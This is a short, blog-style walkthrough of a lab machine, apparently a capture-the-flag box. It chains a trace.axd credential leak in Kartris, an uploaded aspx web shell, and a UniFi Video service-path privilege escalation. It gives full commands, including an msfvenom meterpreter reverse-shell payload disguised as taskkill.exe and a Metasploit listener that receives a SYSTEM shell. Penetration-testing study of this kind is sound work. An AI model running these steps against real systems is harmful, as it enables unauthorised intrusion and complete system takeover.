Hacking walkthrough: Kartris - trace.axd - Ubiquiti UniFi Video - Apache Tomcat/Coyote 1.1 - Windows 10
Port 80: Microsoft-IIS/10.0
Port 7080: Apache Tomcat/Coyote 1.1 +Ubiquiti UniFi Video
Web Application: Kartris
Software: Ubiquiti UniFi Video
Operating system: Microsoft Windows 10 Build 16299
Vulnerability: CVE-2016-6914 [LPE]
Exploit:https://www.exploit-db.com/exploits/43390
Getting inside Kartris
Go to http://ip-address/trace.axd , findAdmin/Default.aspx , click view details. Under "Form Collection", you will see login credentials.Go to http://ip-address/Admin/Default.aspx?page=_Default.aspx . Enter the credentials.Go to http://ip-address/Admin/_GeneralFiles.aspx . Click "Add" button" , you will get an upload box.
Getting inside Windows [Initial Shell]
Get an aspx web shell (cmdasp.aspx) from /usr/share/webshells/aspx/cmdasp.aspx . Upload it to Kartris.Go to http://ip-address/uploads/General/cmdasp.aspx . Now you have a shell and can play around in windows 10. Type "whoami" "systeminfo" ..etc
Privilege Escalation
I found "Unquoted service paths" vulnerability. To find it type:wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """I got the following output:
Ubiquiti UniFi Video UniFiVideoService C:\ProgramData\unifi-video\avService.exe //RS//UniFiVideoService Auto
Lets check the directory permissions :Type: icacls C:\ProgramData\unifi-video\avService.exeIf you get "F" for users, which means full, then you have "write" access to the whole path above, meaning you can write to c: , ProgramData and uni-video .Lets follow the exploit instructions and create"taskkill.exe". We do this by typing: msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST=-your-ip LPORT=1234 -f exe -o taskkill.exePlace it under unifi-video folder. The goal is to restart the service, and once started this file will be executed as a system user which gives us full privilege escalation.Upload the file to Kartris, then Copy the file to the target by typing:
copy "C:\inetpub\wwwroot\uploads\General\taskkill.exe" "C:\ProgramData\unifi-video\" Lets restart the system by typing: shutdown /r /t 0 .
Setting up a listener [Full reverse shell]
Type: msfconsoleType: use multi/handlerType: set payload windows/meterpreter/reverse_tcpType: optionschange the values of lhost , lport .set lhost your-ipset lport 1234Type: runMake sure you open the Metasploit listener before you shutdown the serverOnce the system is restarted , you will get a shell as a system .
Happy hacking
Comments
Post a Comment